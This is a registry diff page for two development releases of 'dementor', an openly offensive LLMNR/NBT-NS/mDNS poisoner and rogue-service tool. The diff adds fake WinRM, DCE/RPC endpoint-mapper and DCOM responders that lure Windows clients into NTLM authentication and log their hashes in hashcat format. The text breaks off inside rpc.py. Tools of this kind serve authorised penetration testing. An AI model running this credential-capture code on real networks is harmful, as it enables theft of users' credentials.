dementor 1.0.0.dev1__tar.gz → 1.0.0.dev3__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dementor might be problematic. Click here for more details.

Files changed (42) hide show
  1. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/PKG-INFO +1 -1
  2. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/__init__.py +1 -1
  3. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/config.py +10 -4
  4. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/database.py +12 -4
  5. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/loader.py +15 -6
  6. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/http.py +106 -18
  7. dementor-1.0.0.dev3/dementor/protocols/msrpc/__init__.py +0 -0
  8. dementor-1.0.0.dev3/dementor/protocols/msrpc/dcom.py +65 -0
  9. dementor-1.0.0.dev3/dementor/protocols/msrpc/epm.py +72 -0
  10. dementor-1.0.0.dev3/dementor/protocols/msrpc/rpc.py +374 -0
  11. dementor-1.0.0.dev3/dementor/protocols/msrpc.py +34 -0
  12. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/netbios.py +4 -0
  13. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/quic.py +1 -2
  14. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/smb.py +1 -5
  15. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/smtp.py +1 -1
  16. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/servers.py +2 -2
  17. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/standalone.py +1 -1
  18. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor.egg-info/PKG-INFO +1 -1
  19. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor.egg-info/SOURCES.txt +9 -1
  20. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/pyproject.toml +1 -1
  21. dementor-1.0.0.dev3/test/test_dcerpc.py +15 -0
  22. dementor-1.0.0.dev3/test/test_dcom.py +51 -0
  23. dementor-1.0.0.dev3/test/test_epm.py +40 -0
  24. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/LICENSE +0 -0
  25. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/README.md +0 -0
  26. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/__main__.py +0 -0
  27. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/filters.py +0 -0
  28. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/logger.py +0 -0
  29. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/paths.py +0 -0
  30. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/__init__.py +0 -0
  31. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/ftp.py +0 -0
  32. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/kerberos.py +0 -0
  33. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/ldap.py +0 -0
  34. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/llmnr.py +0 -0
  35. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/mdns.py +0 -0
  36. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/ntlm.py +0 -0
  37. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/spnego.py +0 -0
  38. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor.egg-info/dependency_links.txt +0 -0
  39. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor.egg-info/entry_points.txt +0 -0
  40. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor.egg-info/top_level.txt +0 -0
  41. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/docs/README.pypi.md +0 -0
  42. {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/setup.cfg +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: dementor
3
- Version: 1.0.0.dev1
3
+ Version: 1.0.0.dev3
4
4
  Summary: LLMNR/NBT-NS/mDNS Poisoner and rogue service provider
5
5
  Author: MatrixEditor
6
6
  Maintainer: MatrixEditor
@@ -18,5 +18,5 @@
18
18
  # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
19
  # SOFTWARE.
20
20
 
21
- __version__ = "1.0.0.dev1"
21
+ __version__ = "1.0.0.dev3"
22
22
  __author__ = "MatrixEditor"
@@ -41,10 +41,10 @@ class TomlConfig:
41
41
  _section_: str | None
42
42
  _fields_: list[Attribute]
43
43
 
44
- def __init__(self, config: dict) -> None:
44
+ def __init__(self, config: dict | None = None) -> None:
45
45
  for field in self._fields_:
46
46
  self._set_field(
47
- config,
47
+ config or {},
48
48
  field.attr_name,
49
49
  field.qname,
50
50
  field.default_val,
@@ -151,6 +151,8 @@ class SessionConfig(TomlConfig):
151
151
  Attribute("quic_enabled", "QUIC", True, factory=is_true),
152
152
  Attribute("mdns_enabled", "mDNS", True, factory=is_true),
153
153
  Attribute("http_enabled", "HTTP", True, factory=is_true),
154
+ Attribute("msrpc_enabled", "RPC", True, factory=is_true),
155
+ Attribute("winrm_enabled", "WinRM", True, factory=is_true),
154
156
  Attribute("extra_modules", "ExtraModules", list),
155
157
  Attribute("workspace_path", "Workspace", DEMENTOR_PATH),
156
158
  ]
@@ -168,8 +170,8 @@ class SessionConfig(TomlConfig):
168
170
  def __init__(self) -> None:
169
171
  super().__init__(dm_config.get("Dementor", {}))
170
172
  # global options that are not loaded from configuration
171
- self.ipv6: Optional[str] = None
172
- self.ipv4: Optional[str] = None
173
+ self.ipv6 = None
174
+ self.ipv4 = None
173
175
  self.interface = None
174
176
  self.analysis = False
175
177
  self.loop = asyncio.get_event_loop()
@@ -189,6 +191,10 @@ class SessionConfig(TomlConfig):
189
191
  # REVISIT: this should raise an exception
190
192
  return self.interface == "ALL"
191
193
 
194
+ @property
195
+ def bind_address(self) -> str:
196
+ return "::" if self.ipv6 else str(self.ipv4)
197
+
192
198
 
193
199
  def _read(path: str):
194
200
  with open(path, "rb") as f:
@@ -197,11 +197,19 @@ class DementorDB:
197
197
  )
198
198
  results = self.db_exec(q).all()
199
199
  text = "Password" if credtype == _CLEARTEXT else "Hash"
200
+ username_text = markup.escape(username)
201
+ is_blank = len(str(username).strip()) == 0
202
+ if is_blank:
203
+ username_text = "(blank)"
204
+
200
205
  full_name = (
201
- f"[b]{markup.escape(username)}[/]/[b]{markup.escape(domain)}[/]"
206
+ f" for [b]{username_text}[/]/[b]{markup.escape(domain)}[/]"
202
207
  if domain
203
- else f"[b]{markup.escape(username)}[/]"
208
+ else f" for [b]{username_text}[/]"
204
209
  )
210
+ if is_blank:
211
+ full_name = ""
212
+
205
213
  if not results or self.config.db_config.db_duplicate_creds:
206
214
  # just insert a new row
207
215
  q = sql.insert(self.CredentialsTable).values(
@@ -219,13 +227,13 @@ class DementorDB:
219
227
  self.db_exec(q)
220
228
  with dm_console_lock:
221
229
  target_logger.success(
222
- f"Captured {credtype} {text} for {full_name} from {client_address}:",
230
+ f"Captured {credtype} {text}{full_name} from {client_address}:",
223
231
  host=hostname or client_address,
224
232
  locked=True,
225
233
  )
226
234
  if username != _NO_USER:
227
235
  target_logger.highlight(
228
- f"{credtype} Username: {markup.escape(username)}",
236
+ f"{credtype} Username: {username_text}",
229
237
  host=hostname or client_address,
230
238
  locked=True,
231
239
  )
@@ -18,6 +18,7 @@
18
18
  # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
19
  # SOFTWARE.
20
20
  import argparse
21
+ from ntpath import isfile
21
22
  import types
22
23
  import os
23
24
  import dementor
@@ -30,6 +31,10 @@ from dementor.paths import DEMENTOR_PATH
30
31
  class ProtocolLoader:
31
32
  def __init__(self) -> None:
32
33
  self.rs_path = os.path.join(DEMENTOR_PATH, "protocols")
34
+ self.search_path = [
35
+ os.path.join(os.path.dirname(dementor.__file__), "protocols"),
36
+ self.rs_path,
37
+ ]
33
38
 
34
39
  def load_protocol(self, protocol_path: str) -> types.ModuleType:
35
40
  loader = SourceFileLoader("protocol", protocol_path)
@@ -39,10 +44,7 @@ class ProtocolLoader:
39
44
 
40
45
  def get_protocols(self, session=None):
41
46
  protocols = {}
42
- protocol_paths = [
43
- os.path.join(os.path.dirname(dementor.__file__), "protocols"),
44
- self.rs_path,
45
- ]
47
+ protocol_paths = list(self.search_path)
46
48
 
47
49
  if session is not None:
48
50
  protocol_paths.extend(session.extra_modules)
@@ -51,8 +53,16 @@ class ProtocolLoader:
51
53
  if not os.path.exists(path):
52
54
  continue
53
55
 
54
- # TODO: check for directory
56
+ if os.path.isfile(path):
57
+ if not path.endswith(".py"):
58
+ continue
59
+
60
+ protocol_path = path
61
+ name = os.path.basename(path)[:-3]
62
+ protocols[name] = protocol_path
63
+ continue
55
64
 
65
+ # TODO: check for directory
56
66
  for filename in os.listdir(path):
57
67
  if not filename.endswith(".py") or filename == "__init__.py":
58
68
  continue
@@ -87,4 +97,3 @@ class ProtocolLoader:
87
97
  return protocol.create_server_threads(session)
88
98
 
89
99
  return []
90
-
@@ -20,7 +20,7 @@
20
20
  import socket
21
21
  import base64
22
22
  import pathlib
23
-
23
+ import ssl
24
24
 
25
25
  from http import HTTPStatus
26
26
  from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
@@ -54,12 +54,31 @@ def apply_config(session):
54
54
  servers.append(HTTPServerConfig(server_config))
55
55
  session.http_config = servers
56
56
 
57
+ winrm_config = []
58
+ config = HTTPServerConfig({"Port": 5985})
59
+ config.http_wpad_enabled = False
60
+ config.http_webdav_enabled = False
61
+
62
+ ssl_enabled = bool(config.http_cert)
63
+ config.http_cert = None
64
+ config.http_cert_key = None
65
+ winrm_config.append(config)
66
+ if ssl_enabled:
67
+ ssl_config = HTTPServerConfig({"Port": 5986})
68
+ ssl_config.http_wpad_enabled = False
69
+ ssl_config.http_webdav_enabled = False
70
+ ssl_config.http_use_ssl = True
71
+ winrm_config.append(ssl_config)
72
+
73
+ if session.winrm_enabled:
74
+ session.winrm_config = winrm_config
75
+
57
76
 
58
77
  def create_server_threads(session):
59
78
  servers = []
60
79
  for server_config in session.http_config if session.http_enabled else []:
61
80
  address = (
62
- "::" if session.ipv6 else session.ipv4 or "",
81
+ session.bind_address,
63
82
  server_config.http_port,
64
83
  )
65
84
  servers.append(
@@ -72,6 +91,19 @@ def create_server_threads(session):
72
91
  )
73
92
  )
74
93
 
94
+ if session.winrm_enabled:
95
+ for winrm_config in session.winrm_config:
96
+ servers.append(
97
+ ServerThread(
98
+ session,
99
+ HTTPServer,
100
+ winrm_config,
101
+ RequestHandlerClass=WinRMHandler,
102
+ server_address=(session.bind_address, winrm_config.http_port),
103
+ ipv6=bool(session.ipv6),
104
+ )
105
+ )
106
+
75
107
  return servers
76
108
 
77
109
 
@@ -138,6 +170,9 @@ class HTTPServerConfig(TomlConfig):
138
170
  A("http_templates", "TemplatesPath", [HTTP_TEMPLATES_PATH]),
139
171
  A("http_webdav_enabled", "WebDAV", True, factory=is_true),
140
172
  A("http_methods", "Methods", ["GET", "POST"]),
173
+ A("http_cert", "Cert", None, section_local=False),
174
+ A("http_cert_key", "Key", None, section_local=False),
175
+ A("http_use_ssl", "TLS", False, factory=is_true),
141
176
  ]
142
177
 
143
178
  def set_http_ntlm_challenge(self, challenge):
@@ -173,31 +208,35 @@ class HTTPHandler(BaseHTTPRequestHandler):
173
208
  def __init__(self, session, config, request, client_address, server) -> None:
174
209
  self.config = config
175
210
  self.session = session
211
+ self.client_address = client_address
212
+ self.challenge = None
213
+ self.setup_proto_logger()
214
+ for http_method in config.http_methods:
215
+ if http_method in ("OPTIONS", "PROPFIND"):
216
+ # reserved options
217
+ continue
218
+
219
+ setattr(self, f"do_{http_method}", lambda: self.handle_request(self.logger))
220
+
221
+ super().__init__(request, client_address, server)
222
+
223
+ def setup_proto_logger(self):
176
224
  self.logger = ProtocolLogger(
177
225
  extra={
178
226
  "protocol": "HTTP",
179
227
  "protocol_color": "chartreuse3",
180
- "host": normalize_client_address(client_address[0]),
181
- "port": config.http_port,
228
+ "host": normalize_client_address(self.client_address[0]),
229
+ "port": self.config.http_port,
182
230
  }
183
231
  )
184
232
  self.webdav_logger = ProtocolLogger(
185
233
  extra={
186
234
  "protocol": "WebDAV",
187
235
  "protocol_color": "sea_green3",
188
- "host": normalize_client_address(client_address[0]),
189
- "port": config.http_port,
236
+ "host": normalize_client_address(self.client_address[0]),
237
+ "port": self.config.http_port,
190
238
  }
191
239
  )
192
- self.challenge = None
193
- for http_method in config.http_methods:
194
- if http_method in ("OPTIONS", "PROPFIND"):
195
- # reserved options
196
- continue
197
-
198
- setattr(self, f"do_{http_method}", lambda: self.handle_request(self.logger))
199
-
200
- super().__init__(request, client_address, server)
201
240
 
202
241
  def do_PROPFIND(self):
203
242
  if self.config.http_webdav_enabled:
@@ -208,7 +247,12 @@ class HTTPHandler(BaseHTTPRequestHandler):
208
247
  def do_OPTIONS(self):
209
248
  # always support everything
210
249
  self.send_response(HTTPStatus.OK)
211
- self.send_header("Allow", "OPTIONS,GET,HEAD,POST,TRACE")
250
+ self.send_header("Allow", "OPTIONS,GET,HEAD,POST,TRACE,PROPFIND")
251
+ self.end_headers()
252
+
253
+ def do_HEAD(self):
254
+ self.send_response(HTTPStatus.OK)
255
+ self.send_header("Content-Length", "0")
212
256
  self.end_headers()
213
257
 
214
258
  def version_string(self) -> str:
@@ -221,6 +265,9 @@ class HTTPHandler(BaseHTTPRequestHandler):
221
265
  self.logger.debug(f"- - {msg}")
222
266
 
223
267
  def send_response(self, code: int, message: str | None = None) -> None:
268
+ if not hasattr(self, "_headers_buffer"):
269
+ self._headers_buffer = []
270
+
224
271
  super().send_response(code, message)
225
272
  for header in self.config.http_extra_headers:
226
273
  self._headers_buffer.append(f"{header}\r\n".encode("latin-1", "strict"))
@@ -262,6 +309,12 @@ class HTTPHandler(BaseHTTPRequestHandler):
262
309
  path = pathlib.Path(self.path)
263
310
  return path.suffix == ".pac" or path.stem == "wpad"
264
311
 
312
+ def display_request(self, req_type: str | None = None, logger=None):
313
+ line = f"{self.command} request for {markup.escape(self.path)}"
314
+ if req_type:
315
+ line = f"{line} ({req_type})"
316
+ (logger or self.logger).display(line)
317
+
265
318
  def send_wpad_script(self):
266
319
  if self.config.proxy_config.proxy_script:
267
320
  # try to render the custom script
@@ -286,7 +339,6 @@ class HTTPHandler(BaseHTTPRequestHandler):
286
339
  self.wfile.write(body)
287
340
 
288
341
  def handle_request(self, logger):
289
- logger.display(f"{self.command} request for {markup.escape(self.path)}")
290
342
  if HTTPHeaders.AUTHORIZATION not in self.headers:
291
343
  # make sure the client authenticates to us
292
344
  if (
@@ -296,6 +348,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
296
348
  ):
297
349
  return self.send_wpad_script()
298
350
 
351
+ self.display_request("Unauthorized", logger)
299
352
  self.send_error(
300
353
  HTTPStatus.UNAUTHORIZED,
301
354
  "Unauthorized",
@@ -310,6 +363,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
310
363
  if method:
311
364
  method(token, logger)
312
365
  else:
366
+ logger.debug(f"Unknown authentication scheme: {name}")
313
367
  self.send_error(HTTPStatus.NOT_FOUND, "Not Found")
314
368
 
315
369
  def auth_negotiate(self, token, logger):
@@ -331,6 +385,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
331
385
 
332
386
  match message:
333
387
  case ntlm.NTLM_HTTP_AuthNegotiate():
388
+ self.display_request("NTLMSSP_NEGOTIATE", logger)
334
389
  challenge = NTLM_AUTH_CreateChallenge(
335
390
  message,
336
391
  *NTLM_split_fqdn(self.config.http_fqdn),
@@ -345,6 +400,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
345
400
  self.end_headers()
346
401
 
347
402
  case ntlm.NTLM_HTTP_AuthChallengeResponse():
403
+ self.display_request("NTLMSSP_AUTH", logger)
348
404
  # try to decode auth message
349
405
  auth_message = message
350
406
  hashversion, hashvalue = NTLM_AUTH_to_hashcat_format(
@@ -379,6 +435,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
379
435
  )
380
436
 
381
437
  def auth_bearer(self, token, logger):
438
+ self.display_request("Bearer", logger)
382
439
  self.session.db.add_auth(
383
440
  client=self.client_address,
384
441
  credtype="BearerToken",
@@ -390,6 +447,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
390
447
  self.finish_request(logger)
391
448
 
392
449
  def auth_basic(self, token, logger):
450
+ self.display_request("Basic", logger)
393
451
  try:
394
452
  username, password = base64.b64decode(token).decode().split(":", 1)
395
453
  except ValueError:
@@ -430,6 +488,18 @@ class HTTPHandler(BaseHTTPRequestHandler):
430
488
  return extras
431
489
 
432
490
 
491
+ class WinRMHandler(HTTPHandler):
492
+ def setup_proto_logger(self):
493
+ self.logger = ProtocolLogger(
494
+ extra={
495
+ "protocol": "WinRM",
496
+ "protocol_color": "spring_green1",
497
+ "host": normalize_client_address(self.client_address[0]),
498
+ "port": self.config.http_port,
499
+ }
500
+ )
501
+
502
+
433
503
  class HTTPServer(ThreadingHTTPServer):
434
504
  service_name = "HTTP"
435
505
 
@@ -453,9 +523,23 @@ class HTTPServer(ThreadingHTTPServer):
453
523
  )
454
524
 
455
525
  super().__init__(
456
- server_address or ("", 80),
526
+ server_address or (self.config.bind_address, 80),
457
527
  RequestHandlerClass or HTTPHandler,
458
528
  )
529
+ if self.server_config.http_use_ssl:
530
+ # if defined use ssl
531
+ cert_path = pathlib.Path(str(self.server_config.http_cert))
532
+ key_path = pathlib.Path(str(self.server_config.http_cert_key))
533
+ if not cert_path.exists() or not key_path.exists():
534
+ dm_logger.error(
535
+ f"({self.service_name}, {self.server_address[:2]}) Certificate or key file not found: "
536
+ f"Cert={self.server_config.http_cert} "
537
+ f"Key={self.server_config.http_cert_key}"
538
+ )
539
+ return
540
+ self.ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
541
+ self.ssl_context.load_cert_chain(certfile=cert_path, keyfile=key_path)
542
+ self.socket = self.ssl_context.wrap_socket(self.socket, server_side=True)
459
543
 
460
544
  def server_bind(self):
461
545
  bind_server(self, self.config)
@@ -487,3 +571,7 @@ class HTTPServer(ThreadingHTTPServer):
487
571
  print(e)
488
572
  dm_logger.error("Error rendering page: Could not find template")
489
573
  return
574
+
575
+
576
+ class WinRMServer(HTTPServer):
577
+ service_name = "WinRM"
@@ -0,0 +1,65 @@
1
+ from array import array
2
+ from impacket.dcerpc.v5 import dcomrt, rpcrt
3
+ from dementor.protocols.msrpc.rpc import rev_rpc_status_codes
4
+
5
+
6
+ __uuid__ = [
7
+ "00000000-0000-0000-C000-000000000046",
8
+ "00000131-0000-0000-C000-000000000046",
9
+ "00000134-0000-0000-C000-000000000046",
10
+ "00000143-0000-0000-C000-000000000046",
11
+ "000001A0-0000-0000-C000-000000000046",
12
+ "18F70770-8E64-11CF-9AF1-0020AF6E72F4",
13
+ "4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57",
14
+ "6050B110-CE87-4126-A114-50AEFCFC95F8",
15
+ "99FCFEC4-5260-101B-BBCB-00AA0021347A",
16
+ ]
17
+
18
+
19
+ def handle_request(rpc, request: rpcrt.MSRPCRequestHeader, _data) -> int | str:
20
+ op_num = request["op_num"]
21
+
22
+ if op_num == dcomrt.ServerAlive2.opnum:
23
+ # build response packet with our IP in answer RR
24
+ alive_resp = dcomrt.ServerAlive2Response()
25
+ alive_resp["pComVersion"] = dcomrt.COMVERSION()
26
+ alive_resp["ErrorCode"] = 0
27
+
28
+ bindings = dcomrt.DUALSTRINGARRAY()
29
+ data_buf = array("H")
30
+
31
+ # StringBinding: current IPv4 (we could also use hostname here)
32
+ binding = dcomrt.STRINGBINDING()
33
+ binding["wTowerId"] = 0x07 # ncacn_ip_tcp
34
+ binding["aNetworkAddr"] = f"{rpc.config.ipv4}\x00"
35
+ data_buf.extend(array("H", binding.getData()))
36
+
37
+ data_buf.append(0x00) # end of string bindings
38
+ sec_offset = len(data_buf)
39
+
40
+ # We only support NTLM Authentication
41
+ binding = dcomrt.SECURITYBINDING()
42
+ binding["wAuthnSvc"] = rpcrt.RPC_C_AUTHN_WINNT
43
+ binding["aPrincName"] = "\x00"
44
+ binding["Reserved"] = 0xFFFF
45
+ data_buf.extend(array("H", binding.getData()))
46
+ data_buf.append(0x00) # end of security bindings
47
+
48
+ bindings["wNumEntries"] = len(data_buf)
49
+ bindings["wSecurityOffset"] = sec_offset
50
+ bindings["aStringArray"] = data_buf
51
+ alive_resp["ppdsaOrBindings"] = bindings
52
+
53
+ resp = rpcrt.MSRPCRespHeader()
54
+ resp["type"] = rpcrt.MSRPC_RESPONSE
55
+ resp["call_id"] = request["call_id"]
56
+ resp["ctx_id"] = request["ctx_id"]
57
+ resp["auth_data"] = b""
58
+ resp["flags"] = rpcrt.PFC_FIRST_FRAG | rpcrt.PFC_LAST_FRAG
59
+ resp["pduData"] = alive_resp.getData()
60
+ resp["frag_len"] = len(resp.get_packet())
61
+ resp["alloc_hint"] = len(resp.get_packet())
62
+ rpc.send(resp.getData())
63
+ return 0
64
+
65
+ return rev_rpc_status_codes["nca_s_unk_op"]
@@ -0,0 +1,72 @@
1
+ import socket
2
+ import struct
3
+
4
+ from impacket.dcerpc.v5 import epm, rpcrt
5
+ from dementor.protocols.msrpc.rpc import uuid_name, rev_rpc_status_codes
6
+
7
+ __uuid__ = epm.MSRPC_UUID_PORTMAP
8
+
9
+
10
+ def handle_request(rpc, request: rpcrt.MSRPCRequestHeader, _data) -> int | str:
11
+ op_num = request["op_num"]
12
+ if op_num == 0x03:
13
+ # Operation: Map (3)
14
+ map_req = epm.ept_map(request["pduData"])
15
+ map_resp = epm.ept_mapResponse()
16
+ map_resp["status"] = 0 # success
17
+ map_resp["num_towers"] = 1
18
+ map_resp["entry_handle"] = map_req["entry_handle"]
19
+
20
+ req_tower = epm.EPMTower(b"".join(map_req["map_tower"]["tower_octet_string"]))
21
+ req_floors = req_tower["Floors"]
22
+ resp_tower = epm.EPMTower()
23
+ resp_floors = []
24
+
25
+ # First floor will be the interface
26
+ interface = req_floors[0]["InterfaceUUID"]
27
+ interface += struct.pack(
28
+ "<HH", req_floors[0]["MajorVersion"], req_floors[0]["MinorVersion"]
29
+ )
30
+ # Second floor must map to the same syntax -> TODO
31
+ # Third floor MUST be TCP
32
+ resp_floors.extend(req_floors[:3])
33
+
34
+ epm_port = epm.EPMPortAddr()
35
+ epm_port["IpPort"] = rpc.rpc_config.epm_port
36
+ resp_floors.append(epm_port)
37
+
38
+ epm_host = epm.EPMHostAddr()
39
+ epm_host["Ip4addr"] = socket.inet_aton(rpc.config.ipv4)
40
+ resp_floors.append(epm_host)
41
+
42
+ resp_tower["NumberOfFloors"] = len(resp_floors)
43
+ resp_tower["Floors"] = b"".join([i.getData() for i in resp_floors])
44
+
45
+ resp_tower_data = epm.twr_p_t()
46
+ resp_tower_data["tower_octet_string"] = resp_tower.getData()
47
+ resp_tower_data["tower_length"] = len(resp_tower_data["tower_octet_string"])
48
+ resp_tower_data["ReferentID"] = 3
49
+
50
+ # NOTE: impacket automatically sets "MaximumCount" to 1, which causes connections
51
+ # to fail with Windows systems. We should use 4 (default) or the number mentioned
52
+ # in the request.
53
+ resp_towers = epm.twr_p_t_array()
54
+ resp_towers["Data"] = [resp_tower_data]
55
+ resp_towers["ActualCount"] = 1
56
+ resp_towers["MaximumCount"] = 4
57
+ map_resp["ITowers"] = resp_towers
58
+ rpc.logger.display(f"Map request for [b]{uuid_name(interface)}[/]")
59
+
60
+ resp = rpcrt.MSRPCRespHeader()
61
+ resp["type"] = rpcrt.MSRPC_RESPONSE
62
+ resp["call_id"] = request["call_id"]
63
+ resp["ctx_id"] = request["ctx_id"]
64
+ resp["auth_data"] = b""
65
+ resp["flags"] = rpcrt.PFC_FIRST_FRAG | rpcrt.PFC_LAST_FRAG
66
+ resp["pduData"] = map_resp.getData()
67
+ resp["frag_len"] = len(resp.get_packet())
68
+ resp["alloc_hint"] = len(resp.get_packet())
69
+ rpc.send(resp.get_packet())
70
+ return 0
71
+
72
+ return rev_rpc_status_codes["nca_s_unk_op"]
@@ -0,0 +1,374 @@
1
+ import os
2
+ import struct
3
+ import random
4
+ import threading
5
+
6
+ from collections import defaultdict
7
+ from typing import Any, Callable
8
+ from dataclasses import dataclass
9
+
10
+ from impacket.dcerpc.v5 import rpcrt, epm
11
+ from impacket import ntlm
12
+
13
+ from dementor.config import Attribute as A, TomlConfig, is_true
14
+ from dementor.logger import ProtocolLogger, dm_logger
15
+ from dementor.protocols.ntlm import (
16
+ NTLM_AUTH_CreateChallenge,
17
+ NTLM_AUTH_decode_string,
18
+ NTLM_AUTH_to_hashcat_format,
19
+ NTLM_split_fqdn,
20
+ )
21
+ from dementor.servers import ThreadingTCPServer, BaseProtoHandler
22
+ from dementor.loader import ProtocolLoader
23
+
24
+ rev_rpc_status_codes = {name: value for value, name in rpcrt.rpc_status_codes.items()}
25
+
26
+
27
+ def uuid_name(uuid_bin: bytes) -> str:
28
+ uuid_str, version = rpcrt.bin_to_uuidtup(uuid_bin)
29
+ if uuid_bin == epm.MSRPC_UUID_PORTMAP:
30
+ return f"EPMv4 v{version}"
31
+ elif uuid_str in epm.KNOWN_PROTOCOLS:
32
+ return f"{epm.KNOWN_PROTOCOLS[uuid_str]} v{version}"
33
+ elif uuid_bin in epm.KNOWN_UUIDS:
34
+ return f"{epm.KNOWN_UUIDS[uuid_bin]} v{version}"
35
+ else:
36
+ return f"UUID {uuid_str} v{version}"
37
+
38
+
39
+ class RPCConfig(TomlConfig):
40
+ _section_ = "RPC"
41
+ _fields_ = [
42
+ A("rpc_ntlm_challenge", "NTLM.Challenge", b"A" * 8),
43
+ A("rpc_fqdn", "FQDN", "DEMENTOR", section_local=False),
44
+ A("rpc_ntlm_ess", "NTLM.ExtendedSessionSecurity", True, factory=is_true),
45
+ A("epm_port", "EPM.TargetPort", 49000),
46
+ A("epm_port_range", "EPM.TargetPortRange", None),
47
+ A("rpc_modules", "Interfaces", list),
48
+ A("rpc_error_code", "ErrorCode", "rpc_s_access_denied"),
49
+ ]
50
+
51
+ def set_rcp_error_code(self, value: str | int):
52
+ if isinstance(value, str):
53
+ value = rev_rpc_status_codes[value]
54
+
55
+ if not isinstance(value, int):
56
+ dm_logger.error(
57
+ f"Invalid RPC error code: {value} - using default: rpc_s_access_denied"
58
+ )
59
+ value = rev_rpc_status_codes["rpc_s_access_denied"]
60
+
61
+ self.rpc_error_code = value
62
+
63
+ def set_epm_port_range(self, value: str | dict):
64
+ start = end = None
65
+ match value:
66
+ case dict():
67
+ # must store START and END
68
+ start = value.get("start", 45000)
69
+ end = value.get("end", 49999)
70
+
71
+ case str():
72
+ # format [START]-END or START-[END]
73
+ values = value.split("-")
74
+ if len(values) == 2:
75
+ start = values[0] or 45000
76
+ end = values[1] or 49999
77
+
78
+ self.epm_port_range = None
79
+ if start is not None and end is not None:
80
+ if isinstance(start, str):
81
+ start = int(start)
82
+
83
+ if isinstance(end, str):
84
+ end = int(end)
85
+
86
+ self.epm_port_range = (start, end)
87
+ self.epm_port = random.randrange(start, end)
88
+
89
+ def set_rpc_modules(self, extra_paths: list):
90
+ loader = ProtocolLoader()
91
+ loader.search_path = [os.path.dirname(__file__)]
92
+ loader.search_path.extend(extra_paths)
93
+ self.rpc_modules = [
94
+ loader.load_protocol(path) for path in loader.get_protocols().values()
95
+ ]
96
+
97
+
98
+ @dataclass(slots=True)
99
+ class RPCConnection:
100
+ call_id: int = -1
101
+ ctx_id: int = -1
102
+ auth_ctx_id: int = -1
103
+ challenge: ntlm.NTLMAuthChallenge | None = None
104
+ target: Any | None = None
105
+
106
+
107
+ class RPCHandler(BaseProtoHandler):
108
+ def __init__(self, config, request, client_address, server) -> None:
109
+ self.rpc_config = config.rpc_config
110
+ super().__init__(config, request, client_address, server)
111
+
112
+ def proto_logger(self) -> ProtocolLogger:
113
+ return ProtocolLogger(
114
+ extra={
115
+ "protocol": "DCE/RPC",
116
+ "protocol_color": "dark_violet",
117
+ "host": self.client_host,
118
+ "port": self.server.server_address[1],
119
+ }
120
+ )
121
+
122
+ def _send_fault(self, header, code):
123
+ packet = rpcrt.MSRPCRespHeader()
124
+ packet["flags"] = rpcrt.PFC_FIRST_FRAG | rpcrt.PFC_LAST_FRAG
125
+ packet["frag_len"] = 0
126
+ packet["auth_len"] = 0
127
+ packet["auth_data"] = b""
128
+ packet["call_id"] = header["call_id"]
129
+ packet["type"] = rpcrt.MSRPC_FAULT
130
+ if code:
131
+ packet["pduData"] = struct.pack("<LL", code, 0x00)
132
+ packet["frag_len"] = len(packet)
133
+
134
+ self.send(packet.get_packet())
135
+
136
+ def handle_data(self, data, transport) -> None:
137
+ transport.settimeout(0.3)
138
+ while True:
139
+ try:
140
+ data = self.recv(8192)
141
+ except OSError:
142
+ break
143
+
144
+ if not data:
145
+ return
146
+
147
+ header = rpcrt.MSRPCHeader(data)
148
+ match header["type"]:
149
+ case 0x00: # Request
150
+ code = self.handle_request(data)
151
+ case 0x0B: # BIND
152
+ bind_req = rpcrt.MSRPCBind(header["pduData"])
153
